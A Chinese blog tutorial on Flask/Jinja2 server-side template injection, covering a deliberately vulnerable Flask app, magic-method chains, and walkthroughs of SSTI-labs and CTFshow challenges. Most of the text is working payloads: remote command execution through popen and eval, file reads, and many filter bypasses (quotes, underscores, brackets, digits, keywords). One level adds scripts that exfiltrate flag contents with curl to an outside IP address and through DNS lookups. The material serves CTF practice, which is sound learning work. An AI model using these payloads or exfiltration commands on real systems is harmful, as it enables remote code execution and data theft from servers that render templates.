FLask SSTI从零到入门

quan9i 2022-08-15 09:53:00

前言

SSTI也是一个比较常见的注入,在学习过后,进行简单总结,希望能对正在学习SSTI的师傅有所帮助。

相关知识

在这里插入图片描述

什么是SSTI

SSTI,服务端模板注入,其实也就是模板引擎+注入,那么我们首先需要了解一下模板引擎

模板引擎是为了使用户界面与业务数据分离而产生,它可以生成特定格式的文档,利用模板引擎来生成前端的 HTML 代码,模板引擎会提供一套生成 HTML 代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板 + 用户数据的前端 HTML 页面,然后反馈给浏览器,呈现在用户面前。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。

通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

常见的模板引擎

PHP: Smarty, Twig, Blade
JAVA: JSP, FreeMarker, Velocity
Python: Jinja2, django, tornado

由于渲染的数据是业务数据,且大多数都由用户提供,这就意味着用户对输入可控.如果后端没有对用户的输入进行检测和判断,那么就容易产生代码和数据混淆,从而产生注入.

pycharm搭建flask环境

打开pycharm企业版,点击file,选择flask
在这里插入图片描述
默认创建即可在这里插入图片描述
在这里插入图片描述
搭建成功,对内容进行简单讲解如下

from flask import Flask
//导入Flask类.用于后面实例化出一个WSGI应用程序.
app = Flask(__name__)
//创建Flask实例,传入的第一个参数为模块或包名.
@app.route('/')
//使用route()装饰器告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上这里的话就是把helloworld这个函数与这个url绑定
def hello_world():  # put application's code here
    return 'Hello World!'


if __name__ == '__main__':
    app.run()
app.run()函数让应用在本地启动

模板渲染

Flask的模板引擎是jinja2,文档可以参考这个
https://svn.python.org/projects/external/Jinja-2.1.1
在给出模板渲染代码之前,我们先在本地构造一个html界面作为模板,位置在"flaskProject\templates\,也就是模板渲染代码的相同位置下,有一个名templates的文件夹,在里面写入一个html文件,内容如下

<html>
  <head>
    <title>SSTI</title>
  </head>
 <body>
      <h3>Hello, {{name}}</h3>
  </body>
</html>

这里的话,{{}}内是需要渲染的内容,此时我们写我们的模板渲染代码(app.py),内容如下

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/',methods=['GET'])
def hello_world():
    query = request.args.get('name') # GET取参数name的值
    return render_template('test.html', name=query) # 将name的值传入模板,进行渲染

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)
  //让操作系统监听所有公网 IP,此时便可以在公网上看到自己的web同时开启debug方便调试

接下来右键运行
在这里插入图片描述
访问这个界面在这里插入图片描述
在这里插入图片描述
回显随着参数变化而变化
可以发现此时的7*7是没有进行运算的,那这个注入是怎么产生的呢

漏洞成因

当程序员想要偷懒时,把这两个文件合并到一个文件中,就可能造成SSTI模板注入,示例代码如下

from flask import Flask,request,render_template_string
app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    name = request.args.get('name')
    template = '''
<html>
  <head>
    <title>SSTI</title>
  </head>
 <body>
      <h3>Hello, %s !</h3>
  </body>
</html>
        '''% (name)
    return render_template_string(template)
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

此时我们运行这个文件,去访问一下
在这里插入图片描述
可以发现里面的语句解析了,这也就意味着产生了SSTI注入,这个时候我们就可以去进行利用了
我们先不急着去学习如何利用,不妨想一下为什么这里会产生SSTI
看后面这个有漏洞的代码
render_template函数在渲染模板的时候使用了%s来动态的替换字符串,Flask中使用了Jinja2 作为模板渲染引擎,{{}}Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容进行解析。比如{{7*7}}会被解析成49。

SSTI前置知识

在学习SSTI注入之前,我们首先需要了解一些python的魔术方法和内置类

—class—

__class__用于返回该对象所属的类
示例:

>>> 'abcd'.__class__
<class 'str'>
>>> ().__class__
<class 'tuple'>

—base—

__base__用于获取类的基类(也称父类)
示例:

>>> "".__class__
<class 'str'>
>>> "".__class__.__base__
<class 'object'>
//object为str的基类

—mro—

__mro__返回解析方法调用的顺序。(当调用_mro_[1]或者-1时作用其实等同于_base_)
示例:

>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[1]
<class 'object'>
>>> "".__class__.__mro__[-1]
<class 'object'>

—subclasses—()

__subclasses__()可以获取类的所有子类
示例

>>> "".__class__.__mro__[-1].__subclasses__()
[<class 'type'>,<class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>...]

常用过滤器

官方介绍https://jinja.palletsprojects.com/en/3.0.x/templates/#filters

  1. 过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
  2. 可以链接到多个过滤器.一个滤波器的输出将应用于下一个过滤器.

其实就是可以实现一些简单的功能,比如attr()过滤器可以实现代替.,join()可以将字符串进行拼接,reverse可以将字符串反置等等
具体如下所示

length() # 获取一个序列或者字典的长度并将其返回

int()# 将值转换为int类型;

float()# 将值转换为float类型;

lower()# 将字符串转换为小写;

upper()# 将字符串转换为大写;

reverse()# 反转字符串;

replace(value,old,new) # 将value中的old替换为new

list()# 将变量转换为列表类型;

string()# 将变量转换成字符串类型;

join()# 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用

attr(): # 获取对象的属性

SSTI语句构造

第一步,拿到当前类,也就是用__class__

name={{"".__class__}}

在这里插入图片描述
第二步,拿到基类,这里可以用__base__,也可以用__mro__

name={{"".__class__.__bases__[0]}}

name={{"".__class__.__mro__[1]}}

name={{"".__class__.__mro__[-1]}}

在这里插入图片描述
第三步,拿到基类的子类,用__subclasses__()

name={{"".__class__.__bases__[0]. __subclasses__()}}
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, 

接下来的话,就要找可利用的类,寻找那些有回显的或者可以执行命令的类
大多数利用的是os._wrap_close这个类,我们这里可以用一个简单脚本来寻找它对应的下标

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    url = "http://127.0.0.1:5000/?name=\
        {{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
    res = requests.get(url=url, headers=headers)
    #print(res.text)
    if 'os._wrap_close' in res.text:
        print(i)

运行一下
在这里插入图片描述
在这里插入图片描述
接下来就可以利用os。_wrap_close,这个类中有popen方法,我们去调用它
首先
先调用它的__init__方法进行初始化类

name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__}}

在这里插入图片描述
然后再调用__globals__获取到方法内以字典的形式返回的方法、属性等

name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__}}

在这里插入图片描述
此时就可以去进行RCE了

name={{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

在这里插入图片描述
还有一个比较厉害的模块,就是__builtins__,它里面有eval()等函数,我们可以也利用它来进行RCE
它的payload是

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}

在这里插入图片描述

SSTI常见绕过方式

绕过.

当.被ban时,有以下几种绕过方式

1[]代替.举个例子
{{"".__class__}}={{""['__class']}}
2用attr()过滤器绕过举个例子
{{"".__class__}}={{""|attr('__class__')}}

绕过_

_被ban时,有以下几种绕过方式

1通过list获取字符列表然后用pop来获取_举个例子
{% set a=(()|select|string|list).pop(24)%}{%print(a)%}
2可以通过十六进制编码的方式进行绕过举个例子
{{()["\x5f\x5fclass\x5f\x5f"]}} ={{().__class__}}

在这里插入图片描述
在这里插入图片描述

绕过[]

经常有中括号被ban的情况出现,这个时候可以使用__getitem__ 魔术方法,它的作用简单说就是可以把中括号转换为括号的形式,举个例子

__bases__[0]=__bases__.__getitem__(0)

在这里插入图片描述

绕过{{

有时候为了防止SSTI,可能程序员会ban掉{{,这个时候我们可以利用jinja2的语法,用{%来进行RCE,举个例子
我们平常使用的payload

{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read()}}

修改后的payload

{%print("".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('dir').read())%}

在这里插入图片描述
也可以借助for循环和if语句来执行命令

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}

在这里插入图片描述

绕过单引号和双引号

当单引号和双引号被ban时,我们通常采用request.args.a,然后给a赋值这种方式来进行绕过,举个例子

{{url_for.__globals__[request.args.a]}}&a=__builtins__  等同于 {{url_for.__globals__['__builtins__']}}

在这里插入图片描述

绕过args

当使用args的方法绕过'"时,可能遇见args被ban的情况,这个时候可以采用request.cookiesrequest.values,他们利用的方式大同小异,示例如下

GET:{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'

在这里插入图片描述

在这里插入图片描述

绕过数字

有时候可能会遇见数字0-9被ban的情况,这个时候我们可以通过count来得到数字,举个例子

{{(dict(e=a)|join|count)}}

在这里插入图片描述

绕过关键字

有时候可能遇见classbase这种关键词被绕过的情况,我们这个时候通常使用的绕过方式是使用join拼接从而实现绕过,举个例子

{{dict(__in=a,it__=a)|join}}  =__init__

在这里插入图片描述

常用payload

1任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close只需要找到这个类的索引就可以利用这个payload
3任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母不仅仅限于x
5任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母不仅仅限于x

实战刷题

SSTI-labs

GitHub链接
https://github.com/X3NNY/sstilabs

level 1

这关显示未设置过滤
此时就可以尝试利用的payload进行RCE
常见的思路就是找类,找类的基类,找基类的子类,然后找可以RCE的模块
我们这里的话,还是用os._wrap_close这个类,
把之前的脚本改一下就可以寻找这个类了

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    url = "http://192.168.134.132:5000/level/1"
    data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+']}}'}
    res = requests.post(url=url,data=data, headers=headers)
    #print(res.text)
    if 'os._wrap_close' in res.text:
        print(i)

在这里插入图片描述
因此我们这里构造payload如下

{{"".__class__.__bases__[0]. __subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

在这里插入图片描述

也可以利用它的循环语句来进行获取flag

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

不想找类的话,这里可以偷懒一下,用__builtins__模块来进行RCE

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

在这里插入图片描述
利用这个模块的话,还有其他几种payload方式,罗列如下

{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

level 2

在这里插入图片描述

过滤了{{
这个时候可以考虑用{%,利用上关的思路,多加个print就可以
简单修改一下脚本

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    try:
        url = "http://192.168.134.132:5000/level/2"
        data={"code":'{%print(().__class__.__bases__[0].__subclasses__()['+str(i)+'])%}'}
        res = requests.post(url=url,data=data, headers=headers)
        #print(res.text)
        if 'os._wrap_close' in res.text:
            print(i)
    except:
        pass

在这里插入图片描述
构造payload

{%print(().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat flag').read())%}

或者也可以用循环语句


{%print(url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

或者那种循环语句,在level1中也提及过

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}

在这里插入图片描述

level 3

题目描述
在这里插入图片描述
进入环境简单测试一下,发现只回显正确与错误,如下图
在这里插入图片描述
这个时候就可以考虑用VPS监听来获取flag,具体payload的话,我们仍然可以用之前的姿势,将脚本简单改一下就可以,如下所示

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    try:
        url = "http://xxx.xxx.xxx.xxxx:5000/level/3"
        data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://124.222.255.142:7777/`cat flag`").read()}}'}
        res = requests.post(url=url,data=data, headers=headers)

    except:
        pass

然后在vps上监听7777端口即可
在这里插入图片描述
或者利用dns外带,也是可以的,构造脚本如下
这个的话我们需要先了解一下dns这个东西,可以参考这篇文章https://xz.aliyun.com/t/9747
我们这里先测试一下,进入网站http://dnslog.cn/
点一下这个
在这里插入图片描述
出现了mlbj8n.dnslog.cn
此时我们打开cmd,利用ping命令执行一下命令

ping %username%.mlbj8n.dnslog.cn

在这里插入图片描述
此时打开网站,点击这个
在这里插入图片描述
在这里插入图片描述
可以发现将username回显了出来,也就是说它对里面的命令进行了解析,根据这点,我们这里同样也可以执行 cat flag这种语句,我们构造脚本如下

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    try:
        url = "http://192.168.134.132:5000/level/3"
        data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://`cat flag`.o78kma.dnslog.cn").read()}}'}
        res = requests.post(url=url,data=data, headers=headers)
        #print(res.text)
        if 'correct' in res.text:
            print(i)

    except:
        pass

说是脚本,其实也就是在找到os._wrap_close类之后执行了一个curl语句而已,我们在知道这个类的位置后,可以直接进行攻击,构造如下payload

{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl http://`cat flag`.o78kma.dnslog.cn").read()}}

在这里插入图片描述

在这里插入图片描述

level 4

在这里插入图片描述
题目描述,过滤了[]中括号,这里的话可以用__getitem()__来代替[],简单一点理解的话,如下所示

"".__class__.__mro__[1]="".__class__.__mro__.__getitem__(2)

所以这里的话,我们简单修改一下之前的脚本就可以继续执行了

import requests

headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
    try:
        url = "http://192.168.134.132:5000/level/4"
        data={"code":'{{().__class__.__base__.__subclasses__().__getitem__('+str(i)+').__init__.__globals__.__getitem__("popen")("cat flag").read()}}'}
        res = requests.post(url=url,data=data, headers=headers)
        if 'Hello' in res.text:
            print(res.text)

    except:
        pass

在这里插入图片描述

level 5

在这里插入图片描述
题目说过滤了单引号和双引号,这里的话就可以考虑使用request.arg.a,然后发送GEt请求a=xxx这种方式来实现绕过
我们这次使用这个payload

{{c.__init__.__globals__['__builtins__'].open('flag', 'r').read()}}

构造payload如下

GET:a=__builtins__&b=flag&c=r
POST:code={{c.__init__.__globals__[request.args.a].open(request.args.b, request.args.c).read()}}

在这里插入图片描述
当然,也可以利用request.cookie.a这种,两者实质是相同的,不再演示

level 6

在这里插入图片描述
题目描述,过滤了下划线
依旧可以同上关一样,借助request实现,我们这里换一个语句

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

构造出来的payload

GET:cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
POST:code={{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(133)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat flag')|attr('read')()}}

在这里插入图片描述
也可以用十六进制结合过滤器attr()来进行绕过,举个例子

"".__class__=""|attr(__class__)=""|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")

那么这里的话我们就可以把下划线进行十六进制编码绕过
原payload

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

中括号这里用getitem转换为括号

().__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('cat flag').read()

转换过后的

{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(133)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")('popen')('cat flag')|attr("read")()}}

在这里插入图片描述

level 7

在这里插入图片描述
题目描述过滤了.,这个时候就需要用到过滤器attr()了,上一关已经提及并简单使用过,这里再用代码复述一下其作用

().__class__=()|attr(__class__)

因此这里的话我们只需要将.attr()进行替换即可
原payload

{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

修改过后的payload如下

code={{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(133)|attr("__init__")|attr("__globals__")|attr("__getitem__")('popen')('cat flag')|attr('read')()}}

在这里插入图片描述

level 8

在这里插入图片描述
这关过滤的有点多,很多关键词都被ban了,这个时候可以考虑用字符拼接的方式

().__class__=()["__cla"+"ss__"] //这里的点被中括号代替了

原payload

"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

修改过后的payload

{{""["__cla"+"ss__"]["__ba"+"se__"]["__subcla"+"sses__"]()[133]["__in"+"it__"]["__glo"+"bals__"]['po'+'pen']('cat flag').read()}}

在这里插入图片描述
或者这里也可以使用for+if语句

{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('cat flag')["read"]()%}{%endif%}{%endfor%}

在这里插入图片描述

这里也可以考虑使用join()过滤器,它可以将字符串进行拼接,举个例子

dict(__in=a,it__=a)|join  =__init__

在这里插入图片描述
我们构造payload如下

{%set a=dict(__cla=a,ss__=a)|join%}
{%set b=dict(__ba=a,se__=a)|join%}
{%set c=dict(__subcla=a,sses__=a)|join%}
{%set d=dict(__in=a,it__=a)|join%}
{%set e=dict(__glo=a,bals__=a)|join%}
{%set h=dict(po=a,pen=a)|join%}
{%print(""[a][b][c]()[133][d][e][h]('cat flag').read())%}

在这里插入图片描述
同样,还可以利用其他过滤器进行此类操作,例如

使用reverse过滤器.它的作用是反置字符串举个例子
{%set a="__tini__"|reverse%}
使用replace过滤器.它的作用是替换字符串举个例子
{%set a="__inia__"|replace("ia","it")%}

level 9

在这里插入图片描述
过滤了数字,这个比较简单了就,我们可以利用不涉及数字的,直接就绕过了
这里给出一个payload

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

在这里插入图片描述
不过正常的思路的话应该是用join进行拼接后,加上count,从而得到想得到的数字,举个例子

{% set a=(dict(e=a)|join|count)%} 

在这里插入图片描述
我们这里利用这个payload

{%print(().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat flag').read())%}

简单修改一下

{% set a=(dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count)%}
{%print(().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat flag').read())%}

在这里插入图片描述

level 10

在这里插入图片描述
本关的目的是get config,设置了config为空
这里需要扩展一下,存在这样一个变量current_app,它的介绍如下

应用上下文会在必要时被创建和销毁。它不会在线程间移动,并且也不会在不同的请求之间共享。正因为如此,它是一个存储数据库连接信息或是别的东西的最佳位置

这里可以尝试用它来进行绕过
构造的payload如下

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

在这里插入图片描述

level 11

在这里插入图片描述
过滤了单引号、双引号、加号、request,引号和中括号,这里我们使用这个payload

().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()

点被过滤,这里用attr来替代,关键词的话我们这里可以用join拼接来进行获取,修改过后的payload如下

{%set a=dict(__cla=a,ss__=b)|join %}  
{%set b=dict(__bas=a,e__=b)|join %}  
{%set c=dict(__subcla=a,sses__=b)|join %}   
{%set d=dict(__ge=a,titem__=a)|join%}
{%set e=dict(__in=a,it__=b)|join %} 
{%set f=dict(__glo=a,bals__=b)|join %} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(18)%}  #构造空格
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(133)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

在这里插入图片描述

level 12

在这里插入图片描述
跟上关差不多,多过滤了个数字和下划线,我们用count来获取数字,构造pop来获取下划线即可即可
在这里插入图片描述

沿用上关payload,简单修改一下

{% set po=dict(po=a,p=a)|join%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(class=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subclasses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(init=b)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=self|string|attr(d)(eighteen)%} 
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

在这里插入图片描述

level 13

在这里插入图片描述
过滤增添了一些关键词,其中self被ban,本来用它设置的空格,但无妨,我们这里可以利用pop构造空格,简单修改一下之前的payload

{% set po=dict(po=a,p=a)|join%}
{%set one=dict(aaaaaaaaaaaaaaaaa=a)|join|count%}
{%set two=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set x=(()|select|string|list)|attr(po)(two)%}
{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set hundred=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{% set a=(x,x,dict(cla=a,ss=a)|join,x,x)|join()%}  
{%set b=(x,x,dict(base=a)|join,x,x)|join() %}  
{%set c=(x,x,dict(subcla=a,sses=a)|join,x,x)|join() %}   
{%set d=(x,x,dict(getitem=a)|join,x,x)|join()%}
{%set e=(x,x,dict(ini=a,t=a)|join,x,x)|join()%} 
{%set f=(x,x,dict(globals=b)|join,x,x)|join()%} 
{%set g=dict(pop=a,en=b)|join %} 
{%set h=(()|select|string|list)|attr(po)(one)%}
{%set flag=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%}
{%set re=dict(read=a)|join%}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(hundred)|attr(e)|attr(f)|attr(d)(g)(flag)|attr(re)()}}

在这里插入图片描述

CTFSHOW

web 361

参数为name,尝试注入

name={{7*7}}

在这里插入图片描述
存在SSTI模板注入

name={{request.__class__.__mro__[-1].__subclasses__()[132]}}

在这里插入图片描述
找到<class 'os._wrap_close'>,os._wrap_close类里有popen。这里直接利用popen来执行命令

{{request.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('tac /flag').read()}}

在这里插入图片描述

web 362

上面的payload不管用了,这里可以用一个通用payload
原理就是找到含有__builtins__的类,然后利用。

{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('tac /flag').read()") }}

在这里插入图片描述
也可以这样

{{c.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}

在这里插入图片描述

web 363

过滤了单引号和双引号,我们这里可以利用变量赋值,再引用变量即可
args只获取地址栏中参数 ,不分get请求方式还是post请求方式.
原payload

{{c.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}

经过简单修改后的payload

a=__builtins__&b=/flag&c=r&name={{c.__init__.__globals__[request.args.a].open(request.args.b, request.args.c).read()}}

在这里插入图片描述
当然,也可以利用chr函数来进行绕过,但chr()默认是没有的需要自己去调用定义,chr()在builtins里

name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}}

/*原payload
name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[o+s].popen(c+a+t+ +/+f+*).read()}}

web364

'"args被ban,按理说可以用values替代args,但
在这里插入图片描述
回显方法不允许使用,所以这里的话还需要去另寻他法
发现用 request.cookies 绕过也可以
在这里插入图片描述

name={{c.__init__.__globals__[request.cookies.a].open(request.cookies.b, request.cookies.c).read()}}

在这里插入图片描述
除此之外,也可以利用chr来进行绕过
payload的构造同上关即可

name={% set chr=url_for.__globals__.__builtins__.chr %}{{url_for.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(42)).read()}}

在这里插入图片描述

web 365

这里的话',",[被ban,这里仍然可以用request.cookies来进行绕过

?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}
//c= tac /flag

在这里插入图片描述

web 366

这里的话过滤了_,我们可以利用过滤器attr结合request来进行绕过

{{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookies:a=__globals__&b=cat /flag

在这里插入图片描述

web 367

过滤多了个os,但未过滤request,那么这里可以继续用request来进行绕过
本来构造的payload

{{(lipsum|attr(request.cookies.a)).request.cookies.c.popen(request.cookies.b).read()}}
cookies:a=__globals__&b=cat /flag&c=os

但不知为何未正常回显,这里的话采用之前的values方式,但不用POST,通过GET进行传值时可以正常回显

a=__globals__&b=cat /flag&c=os&name={{(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()}}

在这里插入图片描述

web 368

{{}}被ban,这里需要用{%%}来进行绕过,修改一下上关payload即可

a=__globals__&b=cat /flag&c=os&name={%print(lipsum|attr(request.values.a)).get(request.values.c).popen(request.values.b).read()%}

web 369

request被ban,这里我们可以自己构造拼接语句来进行攻击
原payload是

name={%x.open('/flag').read()%}

这里由于单引号无法使用,所以我们需要自己构造/flag,构造字符串需要用到chr,也就需要调用chr函数,构造chr函数

构造下划线
{% set a=(()|select|string|list).pop(24)%}
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
构造__globals__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造/flag
{% set flag=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(flag).read())%}

在这里插入图片描述

在这里插入图片描述
最终payload

name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set flag=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(flag).read())%}

